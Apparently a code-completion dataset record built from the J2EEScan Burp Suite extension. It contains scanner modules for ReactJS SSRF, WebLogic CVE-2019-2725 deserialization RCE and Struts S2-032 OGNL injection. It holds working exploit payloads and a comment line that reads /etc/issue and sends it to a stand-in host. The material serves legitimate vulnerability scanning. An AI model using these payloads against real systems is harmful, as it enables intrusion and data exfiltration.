// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.IBurpCollaboratorClientContext;
import burp.IBurpCollaboratorInteraction;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.List; | package burp.j2ee.issues.impl;
/**
*
* ReactJS SSRF Scanner
*
* References:
* - http://10degres.net/aws-takeover-ssrf-javascript/
*
*
*/
public class JavascriptSSRF implements IModule {
private static final String TITLE = "ReactJS SSRF Scanner";
private static final String DESCRIPTION = "J2EEscan identified a potential SSRF vulnerability";
private static final String SSRF_REMEDY = "Execute a code review activity to mitigate the SSRF vulnerability<br />"
+ "<b>References</b>:<br /><br />"
+ "http://10degres.net/aws-takeover-ssrf-javascript/<br />"
+ "https://reactjs.org/docs/faq-ajax.html<br />"
+ "https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API";
private PrintWriter stderr;
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
List<IScanIssue> issues = new ArrayList<>();
stderr = new PrintWriter(callbacks.getStderr(), true);
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
// weaponized exploit fetch('file:///etc/issue').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));
String payload = "fetch('https://%s')";
// Collaborator context
IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext();
// New collaborator unique URI generated ( example f2ivf62a9k7w14h8o8cg7x10prvhj6.burpcollaborator.net )
String currentCollaboratorPayload = collaboratorContext.generatePayload(true);
String payloadReactSSRF = String.format(payload, currentCollaboratorPayload);
// make a request containing our injection test in the insertion point
byte[] checkRequest = insertionPoint.buildRequest(payloadReactSSRF.getBytes());
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest);
byte[] response = checkRequestResponse.getResponse();
// Poll Burp Collaborator for remote interaction
List<IBurpCollaboratorInteraction> collaboratorInteractions
= collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload);
if (!collaboratorInteractions.isEmpty()) {
| // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/JavascriptSSRF.java
import burp.IBurpCollaboratorClientContext;
import burp.IBurpCollaboratorInteraction;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.List;
package burp.j2ee.issues.impl;
/**
*
* ReactJS SSRF Scanner
*
* References:
* - http://10degres.net/aws-takeover-ssrf-javascript/
*
*
*/
public class JavascriptSSRF implements IModule {
private static final String TITLE = "ReactJS SSRF Scanner";
private static final String DESCRIPTION = "J2EEscan identified a potential SSRF vulnerability";
private static final String SSRF_REMEDY = "Execute a code review activity to mitigate the SSRF vulnerability<br />"
+ "<b>References</b>:<br /><br />"
+ "http://10degres.net/aws-takeover-ssrf-javascript/<br />"
+ "https://reactjs.org/docs/faq-ajax.html<br />"
+ "https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API";
private PrintWriter stderr;
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
List<IScanIssue> issues = new ArrayList<>();
stderr = new PrintWriter(callbacks.getStderr(), true);
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
// weaponized exploit fetch('file:///etc/issue').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));
String payload = "fetch('https://%s')";
// Collaborator context
IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext();
// New collaborator unique URI generated ( example f2ivf62a9k7w14h8o8cg7x10prvhj6.burpcollaborator.net )
String currentCollaboratorPayload = collaboratorContext.generatePayload(true);
String payloadReactSSRF = String.format(payload, currentCollaboratorPayload);
// make a request containing our injection test in the insertion point
byte[] checkRequest = insertionPoint.buildRequest(payloadReactSSRF.getBytes());
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest);
byte[] response = checkRequestResponse.getResponse();
// Poll Burp Collaborator for remote interaction
List<IBurpCollaboratorInteraction> collaboratorInteractions
= collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload);
if (!collaboratorInteractions.isEmpty()) {
| issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/WeblogicCVE20192725.java | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.IBurpCollaboratorClientContext;
import burp.IBurpCollaboratorInteraction;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; | + "</void>"
+ "</array>"
+ "<void method=\"start\"/></void>"
+ "</work:WorkContext>"
+ "</soapenv:Header>"
+ "<soapenv:Body>"
+ "<asy:onAsyncDelivery/>"
+ "</soapenv:Body></soapenv:Envelope>";
// Collaborator context
IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext();
String currentCollaboratorPayload = collaboratorContext.generatePayload(true);
for (String ASYNC_PATH : ASYNC_PATHS) {
List<String> headers = new ArrayList<>();
headers.add(String.format("POST %s HTTP/1.1", ASYNC_PATH));
headers.add("Host: " + url.getHost() + ":" + url.getPort());
headers.add("Content-Type: text/xml");
headers.add("Cookie: ADMINCONSOLESESSION=pTsBVcsdVx2g20mxPJyyPDvqTwQmQDtw7R541DGJGGXD2qh4rDBJ!1211788216");
String finalPayload = String.format(serializedRce, currentCollaboratorPayload);
byte[] serializedMessage = helpers.buildHttpMessage(headers, finalPayload.getBytes());
IHttpRequestResponse resp = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), serializedMessage);
// Poll Burp Collaborator for remote interaction
List<IBurpCollaboratorInteraction> collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload);
if (!collaboratorInteractions.isEmpty()) { | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/WeblogicCVE20192725.java
import burp.IBurpCollaboratorClientContext;
import burp.IBurpCollaboratorInteraction;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
+ "</void>"
+ "</array>"
+ "<void method=\"start\"/></void>"
+ "</work:WorkContext>"
+ "</soapenv:Header>"
+ "<soapenv:Body>"
+ "<asy:onAsyncDelivery/>"
+ "</soapenv:Body></soapenv:Envelope>";
// Collaborator context
IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext();
String currentCollaboratorPayload = collaboratorContext.generatePayload(true);
for (String ASYNC_PATH : ASYNC_PATHS) {
List<String> headers = new ArrayList<>();
headers.add(String.format("POST %s HTTP/1.1", ASYNC_PATH));
headers.add("Host: " + url.getHost() + ":" + url.getPort());
headers.add("Content-Type: text/xml");
headers.add("Cookie: ADMINCONSOLESESSION=pTsBVcsdVx2g20mxPJyyPDvqTwQmQDtw7R541DGJGGXD2qh4rDBJ!1211788216");
String finalPayload = String.format(serializedRce, currentCollaboratorPayload);
byte[] serializedMessage = helpers.buildHttpMessage(headers, finalPayload.getBytes());
IHttpRequestResponse resp = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), serializedMessage);
// Poll Burp Collaborator for remote interaction
List<IBurpCollaboratorInteraction> collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload);
if (!collaboratorInteractions.isEmpty()) { | issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/ApacheStrutsS2032.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern; | package burp.j2ee.issues.impl;
/**
* Apache Struts S2-032 Remote Command Execution
*
* https://struts.apache.org/docs/s2-032.html
*
*/
public class ApacheStrutsS2032 implements IModule {
private static final String TITLE = "Apache Struts S2-032 Remote Command Execution";
private static final String DESCRIPTION = "J2EEscan identified a Remote Code Execution "
+ "via <i>method:</i> prefix because Dynamic Method Invocation is enabled."
+ "A remote user could be able to manipulate the servlet container's classloader to execute"
+ "arbitrary commands on the remote system.<br /><br />"
+ "<b>References</b>:<br /><br />"
+ "https://struts.apache.org/docs/s2-032.html<br />"
+ "http://seclab.dbappsecurity.com.cn/?p=924<br />"
+ "http://d.hatena.ne.jp/Kango/20160427/1461771099<br />"
+ "http://pan.baidu.com/s/1skTs9Md<br />"
+ "MSF: metasploit-framework/modules/exploits/linux/http/struts_dmi_exec.rb";
private static final String REMEDY = "Update the remote Struts vulnerable library";
// Check for specific patterns on response page
private static final Pattern DYNAMIC_METHOD_INVOCATION = Pattern.compile("HOOK_VAL838",
Pattern.DOTALL | Pattern.MULTILINE);
private PrintWriter stderr;
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
stderr = new PrintWriter(callbacks.getStderr(), true);
IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
List<IParameter> parameters = reqInfo.getParameters();
URL curURL = reqInfo.getUrl();
byte[] modifiedRawRequest = null;
List<IScanIssue> issues = new ArrayList<>();
| // Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/ApacheStrutsS2032.java
import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
package burp.j2ee.issues.impl;
/**
* Apache Struts S2-032 Remote Command Execution
*
* https://struts.apache.org/docs/s2-032.html
*
*/
public class ApacheStrutsS2032 implements IModule {
private static final String TITLE = "Apache Struts S2-032 Remote Command Execution";
private static final String DESCRIPTION = "J2EEscan identified a Remote Code Execution "
+ "via <i>method:</i> prefix because Dynamic Method Invocation is enabled."
+ "A remote user could be able to manipulate the servlet container's classloader to execute"
+ "arbitrary commands on the remote system.<br /><br />"
+ "<b>References</b>:<br /><br />"
+ "https://struts.apache.org/docs/s2-032.html<br />"
+ "http://seclab.dbappsecurity.com.cn/?p=924<br />"
+ "http://d.hatena.ne.jp/Kango/20160427/1461771099<br />"
+ "http://pan.baidu.com/s/1skTs9Md<br />"
+ "MSF: metasploit-framework/modules/exploits/linux/http/struts_dmi_exec.rb";
private static final String REMEDY = "Update the remote Struts vulnerable library";
// Check for specific patterns on response page
private static final Pattern DYNAMIC_METHOD_INVOCATION = Pattern.compile("HOOK_VAL838",
Pattern.DOTALL | Pattern.MULTILINE);
private PrintWriter stderr;
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
stderr = new PrintWriter(callbacks.getStderr(), true);
IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
List<IParameter> parameters = reqInfo.getParameters();
URL curURL = reqInfo.getUrl();
byte[] modifiedRawRequest = null;
List<IScanIssue> issues = new ArrayList<>();
| if (!isJavaApplicationByURL(curURL)) { |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/ApacheStrutsS2032.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern; | //Remove URI parameters
for (IParameter param : parameters) {
rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
}
rawrequest = callbacks.getHelpers().addParameter(rawrequest,
callbacks.getHelpers().buildParameter("method:", "%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.hook[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString", IParameter.PARAM_URL)
);
String utf8rawRequest;
try {
//TODO Fix me hack
utf8rawRequest = new String(rawrequest, "UTF-8");
modifiedRawRequest = utf8rawRequest.replaceFirst("=", "").getBytes();
modifiedRawRequest = callbacks.getHelpers().addParameter(modifiedRawRequest,
callbacks.getHelpers().buildParameter("hook", "HOOK_VAL", IParameter.PARAM_URL)
);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), modifiedRawRequest);
// Get the response body
byte[] responseBytes = checkRequestResponse.getResponse();
String response = helpers.bytesToString(responseBytes);
Matcher matcher = DYNAMIC_METHOD_INVOCATION.matcher(response);
if (matcher.find()) { | // Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/ApacheStrutsS2032.java
import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
//Remove URI parameters
for (IParameter param : parameters) {
rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
}
rawrequest = callbacks.getHelpers().addParameter(rawrequest,
callbacks.getHelpers().buildParameter("method:", "%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.hook[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString", IParameter.PARAM_URL)
);
String utf8rawRequest;
try {
//TODO Fix me hack
utf8rawRequest = new String(rawrequest, "UTF-8");
